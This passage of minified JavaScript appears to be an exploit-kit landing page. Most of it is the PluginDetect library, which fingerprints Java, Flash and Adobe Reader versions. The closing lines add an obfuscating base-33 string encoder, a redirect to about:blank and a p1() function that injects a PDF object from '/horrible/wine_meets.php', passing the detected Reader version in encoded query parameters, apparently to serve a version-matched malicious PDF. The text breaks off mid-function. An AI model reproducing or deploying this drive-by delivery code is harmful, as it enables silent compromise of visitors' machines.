  947.                 if (f && e.isString(f)) {
  948.                     c.vendor = f
  949.                 }
  950.                 if (!c.vendor) {
  951.                     c.vendor = ""
  952.                 }
  953.                 if (c.verify && c.verify.isEnabled()) {
  954.                     c.getVersionDone = 0
  955.                 } else {
  956.                     if (c.getVersionDone != 1) {
  957.                         if (c.OTF < 2) {
  958.                             c.getVersionDone = 0
  959.                         } else {
  960.                             c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  961.                         }
  962.                     }
  963.                 }
  964.             },
  965.             DTK: {
  966.                 $: 1,
  967.                 hasRun: 0,
  968.                 status: null,
  969.                 VERSIONS: [],
  970.                 version: "",
  971.                 HTML: null,
  972.                 Plugin2Status: null,
  973.                 classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  974.                 mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  975.                 disabled: function () {
  976.                     return this.$$.isDisabled.DTK()
  977.                 },
  978.                 query: function () {
  979.                     var k = this,
  980.                         g = k.$,
  981.                         d = k.$$,
  982.                         j, l, h, m = {}, f = {}, a, c = null,
  983.                         i = null,
  984.                         b = (k.hasRun || k.disabled());
  985.                     k.hasRun = 1;
  986.                     if (b) {
  987.                         return k
  988.                     }
  989.                     k.status = 0;
  990.                     if (g.isIE && g.verIE >= 6) {
  991.                         for (l = 0; l < k.classID.length; l++) {
  992.                             k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
  993.                             c = g.getDOMobj(k.HTML);
  994.                             try {
  995.                                 if (c && c.jvms) {
  996.                                     break
  997.                                 }
  998.                             } catch (j) {}
  999.                         }
  1000.                     } else {
  1001.                         if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type) {
  1002.                             k.HTML = g.insertHTML("object", ["type", h.type], []);
  1003.                             c = g.getDOMobj(k.HTML)
  1004.                         }
  1005.                     }
  1006.                     if (c) {
  1007.                         try {
  1008.                             a = c.jvms;
  1009.                             if (a) {
  1010.                                 i = a.getLength();
  1011.                                 if (g.isNum(i)) {
  1012.                                     k.status = i > 0 ? 1 : -1;
  1013.                                     for (l = 0; l < i; l++) {
  1014.                                         h = g.getNum(a.get(i - 1 - l).version);
  1015.                                         if (h) {
  1016.                                             k.VERSIONS.push(h);
  1017.                                             f["a" + g.formatNum(h)] = 1
  1018.                                         }
  1019.                                     }
  1020.                                 }
  1021.                             }
  1022.                         } catch (j) {}
  1023.                     }
  1024.                     h = 0;
  1025.                     for (l in f) {
  1026.                         h++
  1027.                     }
  1028.                     if (h && h !== k.VERSIONS.length) {
  1029.                         k.VERSIONS = []
  1030.                     }
  1031.                     if (k.VERSIONS.length) {
  1032.                         k.version = g.formatNum(k.VERSIONS[0])
  1033.                     };
  1034.                     return k
  1035.                 }
  1036.             },
  1037.             AXO: {
  1038.                 $: 1,
  1039.                 hasRun: 0,
  1040.                 VERSIONS: [],
  1041.                 version: "",
  1042.                 disabled: function () {
  1043.                     return this.$$.isDisabled.AXO()
  1044.                 },
  1045.                 JavaVersions: [
  1046.                     [1, 9, 1, 40],
  1047.                     [1, 8, 1, 40],
  1048.                     [1, 7, 1, 40],
  1049.                     [1, 6, 0, 40],
  1050.                     [1, 5, 0, 30],
  1051.                     [1, 4, 2, 30],
  1052.                     [1, 3, 1, 30]
  1053.                 ],
  1054.                 query: function () {
  1055.                     var a = this,
  1056.                         e = a.$,
  1057.                         b = a.$$,
  1058.                         c = (a.hasRun || a.disabled());
  1059.                     a.hasRun = 1;
  1060.                     if (c) {
  1061.                         return a
  1062.                     }
  1063.                     var i = [],
  1064.                         k = [1, 5, 0, 14],
  1065.                         j = [1, 6, 0, 2],
  1066.                         h = [1, 3, 1, 0],
  1067.                         g = [1, 4, 2, 0],
  1068.                         f = [1, 5, 0, 7],
  1069.                         d = b.getInfo ? true : false,
  1070.                         l = {};
  1071.                     if (e.verIE >= b.minIEver) {
  1072.                         i = a.search(j, j, d);
  1073.                         if (i.length > 0 && d) {
  1074.                             i = a.search(k, k, d)
  1075.                         }
  1076.                     } else {
  1077.                         if (d) {
  1078.                             i = a.search(f, f, true)
  1079.                         }
  1080.                         if (i.length == 0) {
  1081.                             i = a.search(h, g, false)
  1082.                         }
  1083.                     }
  1084.                     if (i.length) {
  1085.                         a.version = i[0];
  1086.                         a.VERSIONS = [].concat(i)
  1087.                     };
  1088.                     return a
  1089.                 },
  1090.                 search: function (a, j, p) {
  1091.                     var h, d, f = this,
  1092.                         e = f.$,
  1093.                         k = f.$$,
  1094.                         n, c, l, q, b, o, r, i = [];
  1095.                     if (e.compareNums(a.join(","), j.join(",")) > 0) {
  1096.                         j = a
  1097.                     }
  1098.                     j = e.formatNum(j.join(","));
  1099.                     var m, s = "1,4,2,0",
  1100.                         g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (a[3] > 0 ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
  1101.                     for (h = 0; h < f.JavaVersions.length; h++) {
  1102.                         d = f.JavaVersions[h];
  1103.                         n = "JavaPlugin." + d[0] + "" + d[1];
  1104.                         b = d[0] + "." + d[1] + ".";
  1105.                         for (l = d[2]; l >= 0; l--) {
  1106.                             r = "JavaWebStart.isInstalled." + b + l + ".0";
  1107.                             if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 && !e.getAXO(r)) {
  1108.                                 continue
  1109.                             }
  1110.                             m = e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) < 0 ? true : false;
  1111.                             for (q = d[3]; q >= 0; q--) {
  1112.                                 c = l + "_" + (q < 10 ? "0" + q : q);
  1113.                                 o = n + c;
  1114.                                 if (e.getAXO(o) && (m || e.getAXO(r))) {
  1115.                                     i.push(b + c);
  1116.                                     if (!p) {
  1117.                                         return i
  1118.                                     }
  1119.                                 }
  1120.                                 if (o == g) {
  1121.                                     return i
  1122.                                 }
  1123.                             }
  1124.                             if (e.getAXO(n + l) && (m || e.getAXO(r))) {
  1125.                                 i.push(b + l);
  1126.                                 if (!p) {
  1127.                                     return i
  1128.                                 }
  1129.                             }
  1130.                             if (n + l == g) {
  1131.                                 return i
  1132.                             }
  1133.                         }
  1134.                     }
  1135.                     return i
  1136.                 }
  1137.             },
  1138.             navMime: {
  1139.                 $: 1,
  1140.                 hasRun: 0,
  1141.                 mimetype: "",
  1142.                 version: "",
  1143.                 length: 0,
  1144.                 mimeObj: 0,
  1145.                 pluginObj: 0,
  1146.                 disabled: function () {
  1147.                     return this.$$.isDisabled.navMime()
  1148.                 },
  1149.                 query: function () {
  1150.                     var i = this,
  1151.                         f = i.$,
  1152.                         a = i.$$,
  1153.                         b = (i.hasRun || i.disabled());
  1154.                     i.hasRun = 1;
  1155.                     if (b) {
  1156.                         return i
  1157.                     };
  1158.                     var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  1159.                         g, l, j, d = "",
  1160.                         h = "a",
  1161.                         o, m, k = {}, c = f.formatNum("0");
  1162.                     for (l = 0; l < navigator.mimeTypes.length; l++) {
  1163.                         o = navigator.mimeTypes[l];
  1164.                         m = o ? o.enabledPlugin : 0;
  1165.                         g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1166.                         if (g && m && (m.description || m.name)) {
  1167.                             if (!k[h + g]) {
  1168.                                 i.length++
  1169.                             }
  1170.                             k[h + g] = o.type;
  1171.                             if (f.compareNums(g, c) > 0) {
  1172.                                 c = g
  1173.                             }
  1174.                         }
  1175.                     }
  1176.                     g = k[h + c];
  1177.                     if (g) {
  1178.                         o = f.hasMimeType(g);
  1179.                         i.mimeObj = o;
  1180.                         i.pluginObj = o ? o.enabledPlugin : 0;
  1181.                         i.mimetype = g;
  1182.                         i.version = c
  1183.                     };
  1184.                     return i
  1185.                 }
  1186.             },
  1187.             navPlugin: {
  1188.                 $: 1,
  1189.                 hasRun: 0,
  1190.                 version: "",
  1191.                 disabled: function () {
  1192.                     return this.$$.isDisabled.navPlugin()
  1193.                 },
  1194.                 query: function () {
  1195.                     var m = this,
  1196.                         e = m.$,
  1197.                         c = m.$$,
  1198.                         h = c.navigator,
  1199.                         j, l, k, g, d, a, i, f = 0,
  1200.                         b = (m.hasRun || m.disabled());
  1201.                     m.hasRun = 1;
  1202.                     if (b) {
  1203.                         return m
  1204.                     };
  1205.                     a = h.pluginObj.name || "";
  1206.                     i = h.pluginObj.description || "";
  1207.                     if (!f || c.debug) {
  1208.                         g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  1209.                         if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
  1210.                             f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  1211.                         }
  1212.                     }
  1213.                     if (!f || c.debug) {
  1214.                         g = /Java[^\d]*Plug-in/i;
  1215.                         l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1216.                         k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1217.                         if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) {
  1218.                             l = 0
  1219.                         }
  1220.                         if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) {
  1221.                             k = 0
  1222.                         }
  1223.                         d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  1224.                         if (d) {
  1225.                             f = d
  1226.                         }
  1227.                     }
  1228.                     if (!f && e.isSafari && e.OS == 2) {
  1229.                         j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
  1230.                         if (j) {
  1231.                             l = e.getNum(j.description);
  1232.                             if (l) {
  1233.                                 f = l
  1234.                             }
  1235.                         }
  1236.                     };
  1237.                     if (f) {
  1238.                         m.version = e.formatNum(f)
  1239.                     };
  1240.                     return m
  1241.                 }
  1242.             },
  1243.             lang: {
  1244.                 $: 1,
  1245.                 System: {
  1246.                     $: 1,
  1247.                     hasRun: 0,
  1248.                     result: [null, null],
  1249.                     disabled: function () {
  1250.                         return this.$$.isDisabled.windowDotJava()
  1251.                     },
  1252.                     getPropertyHas: function (a) {
  1253.                         var b = this,
  1254.                             d = b.$,
  1255.                             c = b.getProperty()[0];
  1256.                         return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
  1257.                     },
  1258.                     getProperty: function () {
  1259.                         var f = this,
  1260.                             g = f.$,
  1261.                             d = f.$$,
  1262.                             i, h = {}, b = f.hasRun || f.disabled();
  1263.                         f.hasRun = 1;
  1264.                         if (!b) {
  1265.                             var a = "java_qqq990";
  1266.                             g[a] = null;
  1267.                             try {
  1268.                                 var c = document.createElement("script");
  1269.                                 c.type = "text/javascript";
  1270.                                 c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a + "=a||0})();"));
  1271.                                 g.head.insertBefore(c, g.head.firstChild);
  1272.                                 g.head.removeChild(c)
  1273.                             } catch (i) {}
  1274.                             if (g[a] && g.isArray(g[a])) {
  1275.                                 f.result = [].concat(g[a])
  1276.                             }
  1277.                         }
  1278.                         return f.result
  1279.                     }
  1280.                 }
  1281.             },
  1282.             applet: {
  1283.                 $: 1,
  1284.                 results: [
  1285.                     [null, null],
  1286.                     [null, null],
  1287.                     [null, null]
  1288.                 ],
  1289.                 getResult: function () {
  1290.                     var c = this.results,
  1291.                         a, b = [];
  1292.                     for (a = 0; a < c.length; a++) {
  1293.                         b = c[a];
  1294.                         if (b[0]) {
  1295.                             break
  1296.                         }
  1297.                     }
  1298.                     return [].concat(b)
  1299.                 },
  1300.                 HTML: [0, 0, 0],
  1301.                 active: [0, 0, 0],
  1302.                 DummyObjTagHTML: 0,
  1303.                 DummySpanTagHTML: 0,
  1304.                 allowed: [1, 1, 1],
  1305.                 VerifyTagsHas: function (c) {
  1306.                     var d = this,
  1307.                         b;
  1308.                     for (b = 0; b < d.allowed.length; b++) {
  1309.                         if (d.allowed[b] === c) {
  1310.                             return 1
  1311.                         }
  1312.                     }
  1313.                     return 0
  1314.                 },
  1315.                 saveAsVerifyTagsArray: function (c) {
  1316.                     var b = this,
  1317.                         d = b.$,
  1318.                         a;
  1319.                     if (d.isArray(c)) {
  1320.                         for (a = 0; a < b.allowed.length; a++) {
  1321.                             if (d.isNum(c[a])) {
  1322.                                 if (c[a] < 0) {
  1323.                                     c[a] = 0
  1324.                                 }
  1325.                                 if (c[a] > 3) {
  1326.                                     c[a] = 3
  1327.                                 }
  1328.                                 b.allowed[a] = c[a]
  1329.                             }
  1330.                         }
  1331.                     }
  1332.                 },
  1333.                 setVerifyTagsArray: function (d) {
  1334.                     var b = this,
  1335.                         c = b.$,
  1336.                         a = b.$$;
  1337.                     if (a.getVersionDone === null) {
  1338.                         b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1339.                     }
  1340.                     if (a.debug || (a.verify && a.verify.isEnabled())) {
  1341.                         b.saveAsVerifyTagsArray([3, 3, 3])
  1342.                     } else {
  1343.                         if (d) {
  1344.                             b.saveAsVerifyTagsArray(d)
  1345.                         }
  1346.                     }
  1347.                 },
  1348.                 allDisabled: function () {
  1349.                     return this.$$.isDisabled.allApplets()
  1350.                 },
  1351.                 isDisabled: function (d) {
  1352.                     var b = this,
  1353.                         c = b.$,
  1354.                         a = b.$$;
  1355.                     if (d == 2 && !c.isIE) {
  1356.                         return 1
  1357.                     }
  1358.                     if (d === 0 || d == 2) {
  1359.                         return a.isDisabled.ObjectTag()
  1360.                     }
  1361.                     if (d == 1) {
  1362.                         return a.isDisabled.AppletTag()
  1363.                     }
  1364.                 },
  1365.                 can_Insert_Query: function (b) {
  1366.                     var a = this;
  1367.                     if (a.HTML[b]) {
  1368.                         return 0
  1369.                     }
  1370.                     return !a.isDisabled(b)
  1371.                 },
  1372.                 can_Insert_Query_Any: function () {
  1373.                     var b = this,
  1374.                         a;
  1375.                     for (a = 0; a < b.results.length; a++) {
  1376.                         if (b.can_Insert_Query(a)) {
  1377.                             return 1
  1378.                         }
  1379.                     }
  1380.                     return 0
  1381.                 },
  1382.                 should_Insert_Query: function (d) {
  1383.                     var b = this,
  1384.                         e = b.allowed,
  1385.                         c = b.$,
  1386.                         a = b.$$;
  1387.                     if (!b.can_Insert_Query(d)) {
  1388.                         return 0
  1389.                     }
  1390.                     if (e[d] == 3) {
  1391.                         return 1
  1392.                     }
  1393.                     if (e[d] == 2.8 && !b.getResult()[0]) {
  1394.                         return 1
  1395.                     }
  1396.                     if (e[d] == 2.5 && !a.lang.System.getProperty()[0]) {
  1397.                         return 1
  1398.                     }
  1399.                     if (e[d] == 2.2 && !a.lang.System.getProperty()[0] && !b.getResult()[0]) {
  1400.                         return 1
  1401.                     }
  1402.                     if (!a.nonAppletDetectionOk(a.version0)) {
  1403.                         if (e[d] == 2) {
  1404.                             return 1
  1405.                         }
  1406.                         if (e[d] == 1 && !b.getResult()[0]) {
  1407.                             return 1
  1408.                         }
  1409.                     }
  1410.                     return 0
  1411.                 },
  1412.                 should_Insert_Query_Any: function () {
  1413.                     var b = this,
  1414.                         a;
  1415.                     for (a = 0; a < b.allowed.length; a++) {
  1416.                         if (b.should_Insert_Query(a)) {
  1417.                             return 1
  1418.                         }
  1419.                     }
  1420.                     return 0
  1421.                 },
  1422.                 query: function (f) {
  1423.                     var h, a = this,
  1424.                         g = a.$,
  1425.                         d = a.$$,
  1426.                         i = null,
  1427.                         j = null,
  1428.                         b = a.results,
  1429.                         c;
  1430.                     if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)) {
  1431.                         return
  1432.                     }
  1433.                     c = g.getDOMobj(a.HTML[f], true);
  1434.                     if (c) {
  1435.                         try {
  1436.                             i = g.getNum(c.getVersion() + " ");
  1437.                             j = c.getVendor() + " ";
  1438.                             c.statusbar(g.winLoaded ? " " : " ")
  1439.                         } catch (h) {}
  1440.                         if (i && g.isStrNum(i)) {
  1441.                             b[f] = [i, j]
  1442.                         } else {};
  1443.                         try {
  1444.                             if (g.isIE && i && c.readyState != 4) {
  1445.                                 g.garbage = true;
  1446.                                 c.parentNode.removeChild(c)
  1447.                             }
  1448.                         } catch (h) {}
  1449.                     }
  1450.                 },
  1451.                 insert_Query_Any: function () {
  1452.                     var d = this,
  1453.                         i = d.$,
  1454.                         e = d.$$,
  1455.                         l = d.results,
  1456.                         p = d.HTML,
  1457.                         a = "&nbsp;&nbsp;&nbsp;&nbsp;",
  1458.                         g = "A.class",
  1459.                         m = i.file.getValid(e);
  1460.                     if (!m) {
  1461.                         return d.getResult()
  1462.                     }
  1463.                     if (e.OTF < 1) {
  1464.                         e.OTF = 1
  1465.                     }
  1466.                     if (d.allDisabled()) {
  1467.                         return d.getResult()
  1468.                     }
  1469.                     if (e.OTF < 1.5) {
  1470.                         e.OTF = 1.5
  1471.                     }
  1472.                     var j = m.name + m.ext,
  1473.                         h = m.path;
  1474.                     var f = ["archive", j, "code", g],
  1475.                         c = ["mayscript", "true"],
  1476.                         o = ["scriptable", "true"].concat(c),
  1477.                         n = e.navigator,
  1478.                         b = !i.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : e.mimeType[0];
  1479.                     if (d.should_Insert_Query(0)) {
  1480.                         if (e.OTF < 2) {
  1481.                             e.OTF = 2
  1482.                         };
  1483.                         p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e);
  1484.                         l[0] = [0, 0];
  1485.                         d.query(0)
  1486.                     }
  1487.                     if (d.should_Insert_Query(1)) {
  1488.                         if (e.OTF < 2) {
  1489.                             e.OTF = 2
  1490.                         };
  1491.                         p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), ["codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt", a].concat(c).concat(f), [].concat(c), a, e);
  1492.                         l[1] = [0, 0];
  1493.                         d.query(1)
  1494.                     }
  1495.                     if (d.should_Insert_Query(2)) {
  1496.                         if (e.OTF < 2) {
  1497.                             e.OTF = 2
  1498.                         };
  1499.                         p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML();
  1500.                         l[2] = [0, 0];
  1501.                         d.query(2)
  1502.                     }
  1503.                     if (!d.DummyObjTagHTML && !e.isDisabled.ObjectTag()) {
  1504.                         d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
  1505.                     }
  1506.                     if (!d.DummySpanTagHTML) {
  1507.                         d.DummySpanTagHTML = i.insertHTML("", [], [], a)
  1508.                     };
  1509.                     var k = e.NOTF;
  1510.                     if (e.OTF < 3 && k.shouldContinueQuery()) {
  1511.                         e.OTF = 3;
  1512.                         k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1513.                         if (!i.winLoaded) {
  1514.                             i.WLfuncs0.push([k.winOnLoadQuery, k])
  1515.                         }
  1516.                         setTimeout(k.onIntervalQuery, k.intervalLength)
  1517.                     };
  1518.                     return d.getResult()
  1519.                 }
  1520.             },
  1521.             NOTF: {
  1522.                 $: 1,
  1523.                 count: 0,
  1524.                 countMax: 25,
  1525.                 intervalLength: 250,
  1526.                 shouldContinueQuery: function () {
  1527.                     var e = this,
  1528.                         d = e.$,
  1529.                         c = e.$$,
  1530.                         b = c.applet,
  1531.                         a;
  1532.                     for (a = 0; a < b.results.length; a++) {
  1533.                         if (b.HTML[a] && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && e.isAppletActive(a) >= 0) {
  1534.                             return 1
  1535.                         }
  1536.                     }
  1537.                     return 0
  1538.                 },
  1539.                 isJavaActive: function (d) {
  1540.                     var f = this,
  1541.                         c = f.$$,
  1542.                         a, b, e = -9;
  1543.                     for (a = 0; a < c.applet.HTML.length; a++) {
  1544.                         b = f.isAppletActive(a, d);
  1545.                         if (b > e) {
  1546.                             e = b
  1547.                         }
  1548.                     }
  1549.                     return e
  1550.                 },
  1551.                 isAppletActive: function (c, a) {
  1552.                     var d = this,
  1553.                         b = d.$$.applet.active;
  1554.                     if (!a) {
  1555.                         b[c] = d.isAppletActive_(c)
  1556.                     }
  1557.                     return b[c]
  1558.                 },
  1559.                 isAppletActive_: function (d) {
  1560.                     var g = this,
  1561.                         f = g.$,
  1562.                         b = g.$$,
  1563.                         l = b.navigator,
  1564.                         a = b.applet,
  1565.                         h = a.HTML[d],
  1566.                         i, k, c = 0,
  1567.                         j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.count);
  1568.                     if (j == -2) {
  1569.                         return -2
  1570.                     }
  1571.                     try {
  1572.                         if (f.isIE && f.verIE >= b.minIEver && f.getDOMobj(h).object) {
  1573.                             return 1
  1574.                         }
  1575.                     } catch (i) {}
  1576.                     for (k = 0; k < a.active.length; k++) {
  1577.                         if (a.active[k] > 0) {
  1578.                             c = 1
  1579.                         }
  1580.                     }
  1581.                     if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.tagName == "object" || c)) || b.lang.System.getProperty()[0]))) {
  1582.                         return 1
  1583.                     }
  1584.                     if (j < 0) {
  1585.                         return -1
  1586.                     }
  1587.                     return 0
  1588.                 },
  1589.                 winOnLoadQuery: function (c, d) {
  1590.                     var b = d.$$,
  1591.                         a;
  1592.                     if (b.OTF == 3) {
  1593.                         a = d.queryAllApplets();
  1594.                         d.queryCompleted(a[1], a[2])
  1595.                     }
  1596.                 },
  1597.                 $$onIntervalQuery: function (d) {
  1598.                     var c = d.$,
  1599.                         b = d.$$,
  1600.                         a;
  1601.                     if (b.OTF == 3) {
  1602.                         a = d.queryAllApplets();
  1603.                         if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)) {
  1604.                             d.queryCompleted(a[1], a[2])
  1605.                         }
  1606.                     }
  1607.                     d.count++;
  1608.                     if (b.OTF == 3) {
  1609.                         setTimeout(d.onIntervalQuery, d.intervalLength)
  1610.                     }
  1611.                 },
  1612.                 queryAllApplets: function () {
  1613.                     var g = this,
  1614.                         f = g.$,
  1615.                         e = g.$$,
  1616.                         d = e.applet,
  1617.                         b, a, c;
  1618.                     for (b = 0; b < d.results.length; b++) {
  1619.                         d.query(b)
  1620.                     }
  1621.                     a = d.getResult();
  1622.                     c = a[0] ? true : false;
  1623.                     return [c, a[0], a[1]]
  1624.                 },
  1625.                 queryCompleted: function (c, f) {
  1626.                     var e = this,
  1627.                         d = e.$,
  1628.                         b = e.$$;
  1629.                     if (b.OTF >= 4) {
  1630.                         return
  1631.                     }
  1632.                     b.OTF = 4;
  1633.                     var a = e.isJavaActive();
  1634.                     b.setPluginStatus(c, f, 0);
  1635.                     if (b.funcs) {
  1636.                         d.callArray(b.funcs)
  1637.                     }
  1638.                     if (d.onDoneEmptyDiv) {
  1639.                         d.onDoneEmptyDiv()
  1640.                     }
  1641.                 }
  1642.             },
  1643.             zz: 0
  1644.         },
  1645.         flash: {
  1646.             mimeType: "application/x-shockwave-flash",
  1647.             progID: "ShockwaveFlash.ShockwaveFlash",
  1648.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  1649.             getVersion: function () {
  1650.                 var b = function (i) {
  1651.                     if (!i) {
  1652.                         return null
  1653.                     }
  1654.                     var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  1655.                     return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1656.                 };
  1657.                 var j = this,
  1658.                     g = j.$,
  1659.                     k, h, l = null,
  1660.                     c = null,
  1661.                     a = null,
  1662.                     f, m, d;
  1663.                 if (!g.isIE) {
  1664.                     m = g.hasMimeType(j.mimeType);
  1665.                     if (m) {
  1666.                         f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  1667.                         try {
  1668.                             l = g.getNum(f.GetVariable("$version"))
  1669.                         } catch (k) {}
  1670.                     }
  1671.                     if (!l) {
  1672.                         d = m ? m.enabledPlugin : null;
  1673.                         if (d && d.description) {
  1674.                             l = b(d.description)
  1675.                         }
  1676.                         if (l) {
  1677.                             l = g.getPluginFileVersion(d, l)
  1678.                         }
  1679.                     }
  1680.                 } else {
  1681.                     for (h = 15; h > 2; h--) {
  1682.                         c = g.getAXO(j.progID + "." + h);
  1683.                         if (c) {
  1684.                             a = h.toString();
  1685.                             break
  1686.                         }
  1687.                     }
  1688.                     if (!c) {
  1689.                         c = g.getAXO(j.progID)
  1690.                     }
  1691.                     if (a == "6") {
  1692.                         try {
  1693.                             c.AllowScriptAccess = "always"
  1694.                         } catch (k) {
  1695.                             return "6,0,21,0"
  1696.                         }
  1697.                     }
  1698.                     try {
  1699.                         l = b(c.GetVariable("$version"))
  1700.                     } catch (k) {}
  1701.                     if (!l && a) {
  1702.                         l = a
  1703.                     }
  1704.                 }
  1705.                 j.installed = l ? 1 : -1;
  1706.                 j.version = g.formatNum(l);
  1707.                 return true
  1708.             }
  1709.         },
  1710.         adobereader: {
  1711.             mimeType: "application/pdf",
  1712.             navPluginObj: null,
  1713.             progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  1714.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  1715.             INSTALLED: {},
  1716.             pluginHasMimeType: function (d, c, f) {
  1717.                 var b = this,
  1718.                     e = b.$,
  1719.                     a;
  1720.                 for (a in d) {
  1721.                     if (d[a] && d[a].type && d[a].type == c) {
  1722.                         return 1
  1723.                     }
  1724.                 }
  1725.                 if (e.getMimeEnabledPlugin(c, f)) {
  1726.                     return 1
  1727.                 }
  1728.                 return 0
  1729.             },
  1730.             getVersion: function (l, j) {
  1731.                 var g = this,
  1732.                     d = g.$,
  1733.                     i, f, m, n, b = null,
  1734.                     h = null,
  1735.                     k = g.mimeType,
  1736.                     a, c;
  1737.                 if (d.isString(j)) {
  1738.                     j = j.replace(/\s/g, "");
  1739.                     if (j) {
  1740.                         k = j
  1741.                     }
  1742.                 } else {
  1743.                     j = null
  1744.                 }
  1745.                 if (d.isDefined(g.INSTALLED[k])) {
  1746.                     g.installed = g.INSTALLED[k];
  1747.                     return
  1748.                 }
  1749.                 if (!d.isIE) {
  1750.                     a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1751.                     if (g.getVersionDone !== 0) {
  1752.                         g.getVersionDone = 0;
  1753.                         b = d.getMimeEnabledPlugin(g.mimeType, a);
  1754.                         if (!j) {
  1755.                             n = b
  1756.                         }
  1757.                         if (!b && d.hasMimeType(g.mimeType)) {
  1758.                             b = d.findNavPlugin(a, 0)
  1759.                         }
  1760.                         if (b) {
  1761.                             g.navPluginObj = b;
  1762.                             h = d.getNum(b.description) || d.getNum(b.name);
  1763.                             h = d.getPluginFileVersion(b, h);
  1764.                             if (!h && d.OS == 1) {
  1765.                                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
  1766.                                     h = "9"
  1767.                                 } else {
  1768.                                     if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
  1769.                                         h = "8"
  1770.                                     }
  1771.                                 }
  1772.                             }
  1773.                         }
  1774.                     } else {
  1775.                         h = g.version
  1776.                     }
  1777.                     if (!d.isDefined(n)) {
  1778.                         n = d.getMimeEnabledPlugin(k, a)
  1779.                     }
  1780.                     g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
  1781.                 } else {
  1782.                     b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  1783.                     c = /=\s*([\d\.]+)/g;
  1784.                     try {
  1785.                         f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions();
  1786.                         for (m = 0; m < 5; m++) {
  1787.                             if (c.test(f) && (!h || RegExp.$1 > h)) {
  1788.                                 h = RegExp.$1
  1789.                             }
  1790.                         }
  1791.                     } catch (i) {}
  1792.                     g.installed = h ? 1 : (b ? 0 : -1)
  1793.                 }
  1794.                 if (!g.version) {
  1795.                     g.version = d.formatNum(h)
  1796.                 }
  1797.                 g.INSTALLED[k] = g.installed
  1798.             }
  1799.         },
  1800.         zz: 0
  1801.     }
  1802. };
  1803. PluginDetect.initScript();
  1804. PluginDetect.getVersion(".");
  1805. var $$ = PluginDetect;
  1806.  
  1807. function x(s) {
  1808.     d = [];
  1809.     for (i = 0; i < s.length; i++) {
  1810.         k = (s.charCodeAt(i)).toString(33);
  1811.         d.push(k);
  1812.     };
  1813.     return d.join(":");
  1814. }
  1815. end_redirect = function () {
  1816.     window.location.href = 'about:blank';
  1817. };
  1818.  
  1819. function j1() {
  1820.     return true;
  1821. }
  1822. function j2() {
  1823.     return true;
  1824. }
  1825. function p1() {
  1826.     var d = document.createElement("div");
  1827.     d.innerHTML = "<object data=\"/horrible/wine_meets.php?ooqe=" + x("75f1a") + "&ycrtzv=" + x("hdf") + "&yyksrbs=1j:32:1g:31:1f:1g:1l:1m:30:30&qikepuhm=" + x(pdfver.join(".")) + "\" type=\"application/pdf\"><embed src=\"/horrible/wine_meets.php?ooqe=" + x("75f1a") + "&ycrtzv=" + x("hdf") + "&yyksrbs=1j:32:1g:31:1f:1g:1l:1m:30:30&qikepuhm=" + x(pdfver.join(".")) + "\" type=\"application/pdf\" /></object>";
  1828.     document.body.appendChild(d);
